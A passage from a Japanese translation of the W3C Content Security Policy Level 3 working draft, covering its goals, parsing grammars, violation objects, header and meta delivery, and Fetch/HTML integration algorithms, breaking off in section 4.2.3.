コンテンツセキュリティポリシー レベル3

W3C作業草案,

この文書の詳細
このバージョン:
https://www.w3.org/TR/2025/WD-CSP3-20250711/
最新版:
https://www.w3.org/TR/CSP3/
編集者草案:
https://w3c.github.io/webappsec-csp/
以前のバージョン:
履歴:
https://www.w3.org/standards/history/CSP3/
フィードバック:
public-webappsec@w3.org 件名 “[CSP3] … メッセージトピック …” (アーカイブ)
Github
編集者:
(Google Inc.)
(Google Inc.)
参加方法:
Issueを提出 (公開中のIssue)
テスト:
web-platform-tests content-security-policy/ (進行中の作業)

概要

本書は、Web開発者が特定ページで取得・実行できるリソースや、セキュリティ関連の各種ポリシー決定を制御する仕組みを定義します。

この文書の位置付け

このセクションは、本書の公開時点での文書の位置付けを説明します。最新のW3C出版物の一覧と、本技術レポートの最新改訂版はW3C技術レポート索引で確認できます。

本書は Webアプリケーションセキュリティ作業グループ によって、勧告プロセスに従い作業草案として公開されました。本書はW3C勧告となることを意図しています。

(アーカイブ) 公開メーリングリスト public-webappsec@w3.org (投稿方法参照) が本仕様の議論に推奨されます。 メール送信時は件名に「CSP3」を含めてください。例えば: 「[CSP3] …コメント概要…

作業草案としての公開は、W3Cおよびその会員による承認を意味しません。本書はドラフト文書であり、随時更新・差し替え・廃止される可能性があります。進行中の作業以外として引用するのは不適切です。

本書は Webアプリケーションセキュリティ作業グループ によって作成されました。

本書は W3C特許方針の下で活動するグループによって作成されました。 W3Cはグループ成果物に関して特許開示の公開リストを管理しています。 特許開示方法についても記載されています。 本人が必須な特許請求を含むと認識した特許を知っている場合は、W3C特許方針第6節に従い開示しなければなりません。

本書は2023年11月3日W3Cプロセス文書の管理下にあります。

以下の機能はリスクありとされており、CR期間中に削除される可能性があります:

「リスクあり」はW3Cプロセス用語であり、必ずしも機能が削除や遅延の危険があることを意味しません。WGが機能の相互運用実装に課題があると考えた場合に付記され、こうすることでWGは提案勧告段階へ移行時に必要なら機能を削除できるようになり、機能を除いた新たな候補勧告を発行せずに済みます。

1. はじめに

このセクションは規範的ではありません。

本書は、開発者がさまざまな方法でアプリケーションをロックダウンし、クロスサイトスクリプティングなどのコンテンツインジェクション脆弱性のリスクを軽減し、アプリケーションの実行権限を低減するために利用できるツールであるコンテンツセキュリティポリシー(CSP)を定義します。

CSPはコンテンツインジェクション脆弱性への第一防御線として意図されていません。むしろCSPは多層防御(ディフェンスインデプス)として利用するのが最適です。悪意あるインジェクションによる被害を軽減しますが、慎重な入力検証や出力エンコーディングの代替ではありません。

本書はContent Security Policy Level 2からの発展版であり、CSP・HTML・Fetchの相互作用をより明確に説明しつつ、モジュール式拡張のためのフックを明確に提供することを目指しています。理想的には、これは新しい機能を構築するための安定したコアとなるはずです。

1.1.

1.1.1. 実行制御

MegaCorp Incの開発者はクロスサイトスクリプティング攻撃から自社を守りたいと考えています。信頼できるCDNのみがスクリプトの読み込み・実行元となるようにすることで、スクリプトインジェクションのリスクを軽減できます。さらに、ページのコンテキストでプラグインが実行されないようにもしたいと考えています。次のポリシーはこれらを実現します:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 目的

コンテンツセキュリティポリシーの目的は、以下の関連事項を達成することです:

  1. 開発者に対して、以下の項目についてきめ細かな制御を提供することで、コンテンツインジェクション攻撃のリスクを軽減する

    • 特定のDocument またはWorker のためにリクエストされ(以降埋め込まれたり実行される)リソース

    • インラインスクリプトの実行

    • 動的コード実行(eval() や類似の構造)

    • インラインスタイルの適用

  2. 悪意あるコンテキストでリソースを埋め込む必要がある攻撃(例: [TIMING]で説明される「Pixel Perfect」攻撃)のリスクを軽減するため、開発者にリソースを埋め込めるオリジンをきめ細かく制御できるようにする。

  3. 開発者がアプリケーションの権限を減らすためのポリシーフレームワークを提供する。

  4. 開発者が野生環境で悪用されている脆弱性を検知できるような報告機構を提供する。

1.3. レベル2からの変更点

本書はContent Security Policy Level 2仕様[CSP2]の進化版です。主な変更点の概要:

  1. 仕様は[FETCH] 仕様に基づき全面的に書き直されており、CSPの要件や制限を他仕様(特にService Worker)と統合しやすくなっています。

  2. child-srcモデルが大幅に変更されました:

    1. CSP Level 2で非推奨となっていたframe-srcディレクティブは非推奨が解除されましたが、引き続き未指定時はchild-src(さらにdefault-src)に委譲します。

    2. worker-srcディレクティブが追加され、未指定時はchild-src(さらにscript-src、最終的にdefault-src)に委譲します。

  3. URLマッチングアルゴリズムが、非セキュアなスキーム・ポートとそのセキュアな対応を同様に扱うようになりました。つまり、http://example.com:80http://example.com:80https://example.com:443の両方に一致します。

    同様に、'self'はページのスキームがhttpであってもhttps:wss:のオリジンにも一致します。

  4. インラインスクリプトやスタイルによる違反報告では、ブロックされたリソースとして"inline"が報告されるようになりました。同様に、eval()の実行がブロックされた場合は"eval"が報告されます。

  5. manifest-srcディレクティブが追加されました。

  6. report-uriディレクティブは新しいreport-toディレクティブへ非推奨となりました。report-to[REPORTING]を基盤としています。

  7. 'strict-dynamic'ソース式は、ページで実行されたスクリプトが非"parser-inserted" script 要素を介して追加スクリプトをロードできるようになりました。詳細は§ 8.2 "'strict-dynamic'"の利用参照。

  8. 'unsafe-hashes'ソース式は、イベントハンドラ・スタイル属性・javascript:ナビゲーションターゲットに対するハッシュマッチを許可するようになりました。詳細は§ 8.3 "'unsafe-hashes'"の利用参照。

  9. ソース式のマッチングは、HTTP(S)スキーム以外のスキームについては、ローカルスキームではなく、対象リソースのスキームが同じ場合のみ明示的記述が必要となりました。詳細は§ 6.7.2.8 origin・redirect count付きurlはexpressionに一致するか?参照。

  10. ハッシュベースのソース式は、リクエストをトリガーしたscript要素が現在のポリシーに記載された整合性メタデータを指定している場合、外部スクリプトにも一致するようになりました。詳細は§ 8.4 ハッシュによる外部JavaScript許可参照。

  11. インライン違反の報告には、該当ディレクティブに'report-sample'式が含まれていればsample属性が含まれるようになりました。

2. フレームワーク

2.1. 基盤

本書では、構文の定義にABNF文法を使用しています。ABNFの詳細は[RFC5234]で定義されています。また、 #rule ABNF拡張は RFC9110 セクション5.6.1に従い使用しますが、 OWSoptional-ascii-whitespaceに置き換えています。すなわち、 本書で使用する#ruleは以下のように定義されます:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

n >= 1 かつ m > 1 の場合:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

本書はアルゴリズムや本文で使う基礎概念にInfra Standardを依存しています [INFRA]

以下の定義は本書の他の定義の可読性向上のために使用されます。

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; これらの生成規則はASCII空白文字の定義と一致します(INFRA標準参照)。

2.2. ポリシー

ポリシーは 許可・制限される挙動を定義し、DocumentWorkerGlobalScopeWorkletGlobalScope に適用されます。

各ポリシーは、適用時の意味を定義するディレクティブ順序付き集合である ディレクティブセットを持ちます。

各ポリシーは、"enforce"または"report"のいずれかである ディスポジションを持ちます。

各ポリシーは、"header"または"meta"のいずれかである ソースを持ちます。

各ポリシーは、オリジン型の self-originを持ち、 'self'キーワードのマッチ時に使われます。

注: これは、'self'チェックを、 ローカルスキームのドキュメント/ワーカーで継承ポリシーを持つが 不透明オリジンの場合に対応するため必要です。通常は 環境設定オブジェクトオリジンになることが多いです。

1つのリソースに複数のポリシーを適用でき、 これらをリストとして集約したものを CSPリストと呼びます。

CSPリストヘッダー配信CSPを含むとは、 含むいずれかのポリシーソースが "header"である場合です。

シリアライズ済みCSPは、 セミコロン区切りのシリアライズ済みディレクティブの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

シリアライズ済みCSPリストは、 カンマ区切りのシリアライズ済みCSPの連続で構成される ASCII文字列です。次のABNF文法に従います [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; '#'規則はRFC9110のセクション5.6.1で定義されているものですが、
                    ; 本書2.1節で指定された修正を含みます。

2.2.1. シリアライズ済みCSPの解析

シリアライズ済みCSPを解析するには、バイト列または 文字列 serializedソース sourceディスポジション dispositionが与えられたとき、以下の手順を実行します。

このアルゴリズムはContent Security Policyオブジェクトを返します。serializedが 解析できなかった場合、オブジェクトのディレクティブセットは空になります。

  1. もしserializedバイト列なら、 serialized等価デコードした結果に更新する。

  2. policyを新しいポリシー(空のディレクティブセットソースsourceディスポジションdisposition)とする。

  3. tokenについて、厳密に serializedをU+003Bセミコロン(;)で分割して:

    1. 前後のASCII空白文字を除去する。

    2. もしtokenが空文字列、またはASCII文字列でない場合、続行

    3. directive nameを、ASCII空白文字以外のコードポイントを tokenから収集した結果とする。

    4. directive nameASCII小文字化した結果に更新する。

      注: ディレクティブ名は大文字・小文字を区別しません。 例:script-SRC 'none'ScRiPt-sRc 'none'は等価です。

    5. もしpolicyディレクティブセットディレクティブが存在し、 その名前directive nameなら、続行

      注: この場合、ユーザーエージェントは重複ディレクティブが無視されたことを開発者に通知するべきです。例えばコンソール警告など。

    6. directive valuetokenをASCII空白で分割した結果とする。

    7. directiveを新しいディレクティブ名前directive namedirective value)とする。

    8. policyのディレクティブセットにdirectiveを追加。

  4. policyを返す。

2.2.2. responseのContent Security Policyを解析

responseのContent Security Policyを解析するには、response responseが与えられたとき、以下の手順を実行する。

このアルゴリズムはリスト型のContent Security Policyオブジェクトを返す。ポリシーが解析できなかった場合、返されるリストは空となる。

  1. policiesを空のリストとする。

  2. tokenについて、extracting header list valuesContent-Security-Policyresponseheader listに対して呼び出した結果について:

    1. policyparse(token, source = "header", disposition = "enforce") の結果とする。

    2. もしpolicydirective setが空でなければ、policypoliciesに追加。

  3. tokenについて、extracting header list valuesContent-Security-Policy-Report-Onlyresponseheader listに対して呼び出した結果について:

    1. policyparse(token, source = "header", disposition = "report") の結果とする。

    2. もしpolicydirective setが空でなければ、policypoliciesに追加。

  4. policyについて:

    1. policyself-originresponseurloriginに設定。

  5. policiesを返す。

注: responseのContent Security Policyを解析した結果、policiesが1つ以上含まれる場合、ユーザーエージェントはpoliciesにフラグを保持し、contains a header-delivered Content Security Policyアルゴリズムを省略する最適化に利用できる。

2.3. ディレクティブ

ポリシーは、順序付き集合ディレクティブdirective set)を含み、それぞれ特定の挙動を制御する。ディレクティブの詳細は§ 6 Content Security Policyディレクティブで説明する。

ディレクティブ名前 / のペアである。名前は空でない文字列は空でない集合文字列でもよい。

シリアライズ済みディレクティブは、 1つ以上の空白区切りトークンで構成されるASCII文字列であり、以下のABNFに従う [RFC5234]:

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; Directive valuesは空白およびVCHAR文字を含むことができるが、
                       ; ";"と","は除外される。上記定義の後半は全てのVCHAR文字(%x21-%x7E)から
                       ; ";"(%x3B)と","(%x2C)を除いたもの。

; ALPHA, DIGIT, VCHARはRFC5234付録B.1で定義されている。

ディレクティブには以下のような関連アルゴリズムがある:

  1. 事前リクエストチェックrequestpolicyを引数にとり、§ 4.1.2 リクエストをCSPでブロックすべきかで実行される。明示的に指定がなければ"Allowed"を返す。

  2. 事後リクエストチェックrequestresponsepolicyを引数にとり、§ 4.1.3 レスポンスをCSPでブロックすべきかで実行される。明示的に指定がなければ"Allowed"を返す。

  3. インラインチェックElement、 type文字列、policy、source文字列を引数にとり、§ 4.2.3 要素のインラインtype挙動をCSPでブロックすべきか及び § 4.2.4 typeのナビゲーションリクエストをCSPでブロックすべきかjavascript:リクエスト)で実行される。明示的に指定がなければ"Allowed"を返す。

  4. 初期化Document またはglobal objectpolicyを引数にとる。§ 4.2.1 DocumentのCSP初期化および § 4.2.6 global objectのCSP初期化で実行される。明示的に指定がなければ何も効果はなく"Allowed"を返す。

  5. 事前ナビゲーションチェックrequest、ナビゲーションタイプ文字列("form-submission"または"other")、policyを引数にとり、§ 4.2.4 typeのナビゲーションリクエストをCSPでブロックすべきかで実行される。明示的に指定がなければ"Allowed"を返す。

  6. ナビゲーションレスポンスチェックrequest、ナビゲーションタイプ文字列("form-submission"または"other")、responsenavigable、チェックタイプ文字列("source"または"response")、policyを引数にとり、§ 4.2.5 target内typeのナビゲーションリクエストへのレスポンスをCSPでブロックすべきかで実行される。明示的に指定がなければ"Allowed"を返す。

  7. webrtc事前接続チェックpolicyを引数にとり、§ 4.3.1 globalでRTC接続をブロックすべきかで実行される。明示的に指定がなければ"Allowed"を返す。

2.3.1. ソースリスト

多くのディレクティブソースリスト集合型の文字列)であり、取得・埋め込み・実行できるコンテンツを識別する。各文字列は以下いずれかのソース式を表す:

  1. 'none''self'などのキーワード(それぞれ何も一致しない/現在のURLのオリジンに一致)

  2. シリアライズ済みURL(例:https://example.com/path/to/file.jsは特定ファイルに一致、https://example.com/はオリジン全体に一致)

  3. スキーム(例:https:は指定スキームのリソースすべてに一致)

  4. ホスト(例:example.comは指定ホスト上の全リソース、*.example.comはサブドメインも含めて一致)

  5. ノンス(例:'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'はページ上の特定要素に一致)

  6. ダイジェスト(例:'sha256-abcd...'はページ上の特定要素に一致)

シリアライズ済みソースリストは、 空白区切りで連続するソース式からなるASCII文字列で、以下のABNF文法に従う [RFC5234]:

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; スキーム: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; ホスト: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; schemeはRFC3986セクション3.1で定義。
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (";"と","は含まない)
              ; path-absoluteはRFC3986セクション3.3で定義。

; キーワード:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'"

ISSUE: Bikeshed unsafe-allow-redirects.

; ノンス: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; ダイジェスト: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char生成規則は意図的にASCII文字のみを含みます。国際化ドメイン名はシリアライズ済みCSPに直接入力できず、Punycodeエンコードが必須です [RFC3492]。例:üüüüüü.dexn--tdaaaaaa.deで記述しなければなりません。

注: IPアドレスは上記文法に一致するが、実際にURL一致するのは127.0.0.1のみ(詳細は§ 6.7.2.7 origin・redirect count付きurlはsource listに一致するか?参照)。IPアドレスのセキュリティ特性は疑わしいため、著者は可能な限りホスト名を利用するべきである。

注: base64-value文法はbase64およびbase64urlエンコーディング両方を許容する。これらはhash-source値の処理時は同等に扱われる。ノンスは厳密な文字列一致のみ:base64-value文法で許可文字を制限し、サーバー運用者の負担(エンコーディング等)を減らすが、ユーザーエージェントは値の解釈やデコードは一切行わない。

2.4. 違反

違反は、ポリシーオブジェクトのセットに反する行動またはリソースを表します。これらのポリシーは、グローバルオブジェクトに関連付けられています。

違反は、グローバルオブジェクトを持ちます。これは、グローバルオブジェクトであり、そのポリシーが違反されたものです。

違反は、URLを持ちます。これは、そのグローバルオブジェクトURLです。

違反は、ステータスを持ちます。これは、グローバルオブジェクトが生成されたリソースのHTTPステータスコードを表す非負整数です。

違反は、リソースを持ちます。これは、null、「inline」、「eval」、「wasm-eval」、「trusted-types-policy」、「trusted-types-sink」またはURLのいずれかです。ポリシーに違反したリソースを表します。

注: 違反リソースの値がnullになるのは、その違反が作成時のみ許可されます。違反が報告され、リソースブロックされたURIの取得に利用される時点では、違反リソースにはURLまたは許可された文字列がセットされているべきです。

違反は、リファラーを持ちます。これはnullまたはURLです。違反したリソースのリファラーを表します。

違反は、ポリシーを持ちます。これは違反されたポリシーです。

違反は、ディスポジションを持ちます。これは違反されたポリシーディスポジションです。

違反は、有効ディレクティブを持ちます。これは違反の強制が発生したディレクティブを表す空でない文字列です。

違反は、ソースファイルを持ちます。これはnullまたはURLです。

違反は、行番号を持ちます。これは非負整数です。

違反は、列番号を持ちます。これは非負整数です。

違反は、要素を持ちます。これはnullまたは要素です。

違反は、サンプルを持ちます。これは文字列です。特記がない限り空文字列となります。

注: 違反サンプルは、違反を引き起こしたインラインスクリプト、イベントハンドラ、またはスタイルの先頭40文字で埋められます。外部ファイルが原因の違反の場合、違反レポートにサンプルは含まれません。

2.4.1. globalpolicydirectiveのために違反オブジェクトを作成する

グローバルオブジェクトglobalポリシーpolicy、そして 文字列 directiveが与えられたとき、以下のアルゴリズムは新しい違反 オブジェクトを作成し、初期データで埋めます:

  1. violationを新しい違反として作成する。そのグローバルオブジェクトglobalポリシーpolicy有効ディレクティブdirective、そして リソースはnullとする。

  2. ユーザーエージェントが現在スクリプトを実行中であり、globalからソースファイルのURL、行番号、列番号を抽出できる場合、violationソースファイル行番号、および列番号を適切に設定する。

    このような仕様はどこかにありますか?[ECMA262]には有用なものは見当たりませんでした。

    注: ユーザーエージェントはソースファイルがページに要求されたURL(リダイレクト前)であることを保証する必要があります。それが不可能な場合は、意図しない漏洩を避けるためにURLをオリジンまで短縮する必要があります。

  3. globalWindow オブジェクトである場合、violationリファラーglobaldocumentreferrerに設定する。

  4. violationステータスを、violationグローバルオブジェクトに関連付けられたリソースのHTTPステータスコードに設定する。

    ステータスコードを正確にどう取得するか?実際にはどこにも保存されていません。

  5. violationを返す。

2.4.2. requestおよびpolicyのために違反オブジェクトを作成する

リクエストrequestポリシーpolicyが与えられたとき、 以下のアルゴリズムは新しい違反オブジェクトを作成し、初期データで埋めます:

  1. directiveを、§ 6.8.1 リクエストの有効ディレクティブを取得するrequestに対して実行した結果とする。

  2. violationを、§ 2.4.1 globalpolicydirectiveのために違反オブジェクトを作成するrequestclientグローバルオブジェクトpolicydirectiveに対して実行した結果とする。

  3. violationリソースrequesturlに設定する。

    注: requesturlを利用し、current urlは使用しません。current urlにはページがアクセスしてはならないリダイレクト先の情報が含まれている可能性があるためです。

  4. violationを返す。

3. ポリシーの配信

サーバーは特定のポリシーを、リソース表現ごとに、値が直列化CSPであるHTTPレスポンスヘッダーフィールドを通じて宣言してもよい(MAY)。このメカニズムの詳細は、§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールドおよび§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールドで定義されており、FetchやHTMLとの統合については§ 4.1 Fetchとの統合§ 4.2 HTMLとの統合で説明されている。

ポリシーは、HTML文書内でインラインで宣言することもできる。具体的にはmeta要素のhttp-equiv属性を利用する。詳細は§ 3.3 <meta>要素を参照。

3.1. Content-Security-Policy HTTPレスポンスヘッダーフィールド

Content-Security-Policy HTTPレスポンスヘッダーフィールドは、サーバーからクライアントへポリシーを配信するための推奨メカニズムです。ヘッダーの値は以下のABNFで表現されます [RFC5234]:

Content-Security-Policy = 1#serialized-policy
                    ; '#'ルールはRFC 9110の5.6.1節で定義されています
                    ; ただし本書2.1節で指定された修正が加えられています
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

サーバーは同じリソースの表現ごとに、異なるContent-Security-Policyヘッダーフィールド値を送信してもよい(MAY)。

ユーザーエージェントがContent-Security-Policyヘッダーフィールドを受信した場合、含まれる各直列化CSP構文解析し、適用しなければならない(MUST)。詳細は§ 4.1 Fetchとの統合§ 4.2 HTMLとの統合を参照。

3.2. Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド

Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールドは、ウェブ開発者がポリシーの効果を監視(適用はせず)して実験することを可能にします。ヘッダーの値は次のABNFで表現されます [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; '#'ルールはRFC 9110の5.6.1節で定義されています
                    ; ただし本書2.1節で指定された修正が加えられています

このヘッダーフィールドにより、開発者はセキュリティポリシーを段階的に構築できます。最初はサイトの挙動を推定してレポート専用ポリシーをデプロイし、違反レポートを監視し、十分な信頼を得たら適用ポリシーへ移行します。

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

サーバーは同じリソースの表現ごとに、異なるContent-Security-Policy-Report-Onlyヘッダーフィールド値を送信してもよい(MAY)。

ユーザーエージェントがContent-Security-Policy-Report-Onlyヘッダーフィールドを受信した場合、含まれる各直列化CSP構文解析し、監視しなければならない(MUST)。詳細は§ 4.1 Fetchとの統合および§ 4.2 HTMLとの統合を参照。

注: Content-Security-Policy-Report-Only ヘッダーは meta要素内ではサポートされていませんmeta 要素内では使用できません。

3.3. <meta>要素

Document は、1つ以上のHTML meta 要素を通じてポリシーを配信できます。 これらの http-equiv 属性が、文字列"Content-Security-Policy"とASCII大文字・小文字を区別しない一致であれば認識されます。例:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

実装の詳細はHTMLのContent Security Policy state http-equiv処理規則 [HTML] を参照。

注: Content-Security-Policy-Report-Only ヘッダーは meta要素内ではサポートされていません。また、report-uriframe-ancestorssandboxディレクティブもサポートされません。

著者は強く推奨されますmeta 要素を文書のなるべく早い位置に配置することを。 meta 要素によるポリシーは、それより前の内容には適用されないためです。特に、Link HTTPレスポンスヘッダーで取得・プリフェッチされたリソースや、 link および script 要素で取得・プリフェッチされたリソースが、meta配信ポリシーより前であればブロックされません。

注: meta 要素で指定されたポリシーは、保護対象リソースに有効な他のポリシーとともに強制されます。記述場所に関わらず有効です。複数ポリシー強制の一般的影響は§ 8.1 複数ポリシーの効果で説明しています。

注: content 属性を meta 要素の構文解析後に変更しても、無視されます。

4. 統合

この節は規範的ではありません。

本書は他の仕様で機能を実装するために利用される一連のアルゴリズムを定義します。これらの統合は説明のためにここで概説されていますが、詳細な情報については外部文書が規範的参照元となるため、それらを参照する必要があります。

4.1. Fetchとの統合

複数のディレクティブが、さまざまな方法でリソースのロードを制御します。本仕様はFetchが特定のリクエストをブロックすべきか許可すべきか判断し、特定のレスポンスネットワークエラーに置き換えるべきかどうかを決定するためのアルゴリズムを提供します。

  1. § 4.1.2 Content Security Policyでリクエストをブロックすべきか?は、Main Fetchアルゴリズムのステップ2.4の一部として呼び出されます。これにより、ディレクティブの事前リクエストチェックが各リクエストがネットワークに到達する前、およびリソースに到達するまでのリダイレクトにも実行できます。

  2. § 4.1.3 Content Security Policyでリクエストのレスポンスをブロックすべきか?は、Main Fetchアルゴリズムのステップ11の一部として呼び出されます。これにより、ディレクティブの事後リクエストチェックがネットワークまたはService Workerから返されたレスポンスに対して実行されます。

4.1.1. requestに対するContent Security Policy違反を報告する

リクエスト requestが与えられたとき、このアルゴリズムはポリシーコンテナCSPリストに含まれる「report only」ポリシーに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. policyCSPリストから順に:

    1. policyディスポジションが"enforce"なら、次のpolicyへ。

    2. violates§ 6.7.2.1 リクエストがポリシーに違反しているか?requestpolicyに対して実行した結果とする。

    3. violatesが"Does Not Violate"でないなら、§ 5.5 違反を報告するを、§ 2.4.2 リクエストとポリシーのために違反オブジェクトを作成するrequestpolicyに対して実行した結果に対して実行する。

4.1.2. requestはContent Security Policyでブロックされるべきか?

リクエスト requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、 requestポリシーコンテナCSPリストに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. resultを"Allowed"とする。

  3. policyCSPリストから順に:

    1. policyディスポジションが"report"なら、次のpolicyへ。

    2. violates§ 6.7.2.1 リクエストがポリシーに違反しているか?requestpolicyに対して実行した結果とする。

    3. violatesが"Does Not Violate"でないなら:

      1. § 5.5 違反を報告するを、§ 2.4.2 リクエストとポリシーのために違反オブジェクトを作成するrequestpolicyに対して実行した結果に対して実行する。

      2. resultを"Blocked"に設定する。

  4. resultを返す。

4.1.3. requestへのresponseはContent Security Policyでブロックされるべきか?

レスポンス responseリクエスト requestが与えられたとき、このアルゴリズムはBlockedまたはAllowedを返し、 requestポリシーコンテナCSPリストに基づいて違反を報告します。

  1. CSPリストrequestポリシーコンテナCSPリストとする。

  2. resultを"Allowed"とする。

  3. policyCSPリストから順に:

    1. directivepolicyから順に:

      1. directive事後リクエストチェックの実行結果が"Blocked"なら:

        1. § 5.5 違反を報告するを、§ 2.4.2 リクエストとポリシーのために違反オブジェクトを作成するrequestpolicyに対して実行した結果に対して実行する。

        2. policyディスポジションが"enforce"なら、resultを"Blocked"に設定する。

    注: このチェックはページがレスポンスをロードできるかどうかを検証します。つまり、Service WorkerがページのCSPに違反するファイルを置換していないか確認します。

  4. resultを返す。

4.1.4. ハッシュを報告する可能性

レスポンス responseリクエスト requestディレクティブ directiveContent Security Policyオブジェクト policyが与えられたとき、以下の手順を実行する:

  1. algorithmを空の文字列とする。

  2. directiveが"'report-sha256'"を含むなら、algorithmを"sha256"に設定する。

  3. directiveが"'report-sha384'"を含むなら、algorithmを"sha384"に設定する。

  4. directiveが"'report-sha512'"を含むなら、algorithmを"sha512"に設定する。

  5. algorithmが空の文字列なら、return。

  6. hashを空の文字列とする。

  7. responseCORS-same-originなら:

    1. happly algorithm to bytesresponsebodyalgorithmに対して実行した結果とする。

    2. hashalgorithm、U+2D(-)、h連結とする。

  8. globalrequestclientグローバルオブジェクトとする。

  9. globalWindowでない場合、return。

  10. stripped document URL§ 5.4 レポート用途のURLを除去するglobaldocumentURLに対して実行した結果とする。

  11. policyディレクティブセットに"report-to"というディレクティブが含まれないなら、return。

  12. report-to directivepolicyディレクティブセットから"report-to"というディレクティブとして取得する。

  13. bodycsp hash report bodyとして作成し、stripped document URLdocumentURLrequestのURLをsubresourceURLhashhashrequestdestinationdestination、"subresource"をtypeとする。

  14. Generate and queue a reportを次の引数で実行する:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directive

    data

    body

4.2. HTMLとの統合

  1. ポリシーコンテナCSPリストを持ちます。これは、ある文脈に対して有効なポリシーオブジェクト全てを保持します。このリストは特に指定がない限り空であり、レスポンスからContent Security Policyを構文解析するか、ポリシーコンテナのルールに従って継承されて設定されます。

  2. グローバルオブジェクトCSPリストは、§ 4.2.2 オブジェクトのCSPリストを取得するobjectとしてグローバルオブジェクトに対して実行した結果です。

  3. ポリシー適用されているまたは監視されている状態で、グローバルオブジェクトCSPリストに挿入されることで管理されます。

  4. § 4.2.1 DocumentのCSP初期化を実行する新しいDocumentオブジェクトの作成と初期化アルゴリズム中に呼び出されます。

  5. § 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?は、script要素の準備や、styleブロックの更新アルゴリズム中に呼び出され、インラインスクリプトやstyleブロックの実行・描画が許可されるか決定します。

  6. § 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?は、インラインイベントハンドラ(例: onclick)やインラインstyle属性の処理時にも呼び出され、それらの実行・描画が許可されるか判定します。

  7. ポリシーは、meta要素のhttp-equiv処理の際に適用されます。

  8. HTMLは各リクエスト暗号化ノンスメタデータパーサメタデータを、リソースロード担当要素から関連データで埋めます。

    スタイルシートのロードはWHATWG HTMLのFetch統合が未実装です。[whatwg/html Issue #968]

  9. § 6.3.1.1 文書にbaseが許可されるか?は、base要素の凍結ベースURL設定アルゴリズム中に呼び出され、href属性値が有効かチェックします。

  10. § 4.2.4 指定型のナビゲーションリクエストはContent Security Policyでブロックされるべきか?fetchによるナビゲーションパラメータ生成アルゴリズム中に呼び出され、§ 4.2.5 指定型のナビゲーションリクエストへのレスポンスはContent Security Policyでブロックされるべきか?履歴エントリの文書を埋める試行アルゴリズム中に呼び出され、ディレクティブのナビゲーションチェックやjavascript: URLへのインラインチェックに適用されます。

  11. § 4.2.6 グローバルオブジェクトのCSP初期化を実行するは、ワーカーを実行アルゴリズム中に呼び出されます。

  12. sandboxディレクティブはCSP由来のサンドボックスフラグを設定するために使われます。

4.2.1. DocumentのためにCSP初期化を実行する

Document documentが与えられたとき、ユーザーエージェントはdocumentのCSPを初期化するために以下の手順を実行します:

  1. policydocumentポリシーコンテナCSPリストから順に:

    1. directivepolicyから順に:

      1. directive初期化アルゴリズムをdocumentに対して実行し、その返り値が"Allowed"であることを保証する。

4.2.2. objectCSPリストを取得する

objectCSPリストを取得するには:

  1. objectDocumentなら、objectポリシーコンテナCSPリストを返す。

  2. objectWindowWorkerGlobalScopeまたはWorkletGlobalScopeなら、環境設定オブジェクトポリシーコンテナCSPリストを返す。

  3. nullを返す。

4.2.3. element のインライン type 挙動はContent Security Policyでブロックされるべきか?

Element element、文字列 type、文字列 source が与えられた場合、このアルゴリズムは要素が特定の型のインライン定義(スクリプト実行、スタイル適用、イベントハンドラ等)を許可されているなら "Allowed" を、そうでなければ "Blocked" を返します:

注: type の有効な値は "script"、"script attribute"、"style"、"style attribute" です。

  1. 保証: element はnullではない。

  2. result を "Allowed" とする。

  3. policyelementDocumentグローバルオブジェクトCSPリスト から順に:

    1. directivepolicyディレクティブセット から順に:

      1. directiveインラインチェックelementtypepolicysource で実行して "Allowed" を返す場合、次の directive へ。

      2. directive-name§ 6.8.2 インラインチェック用の有効ディレクティブを取得するtype に対して実行した結果とする。

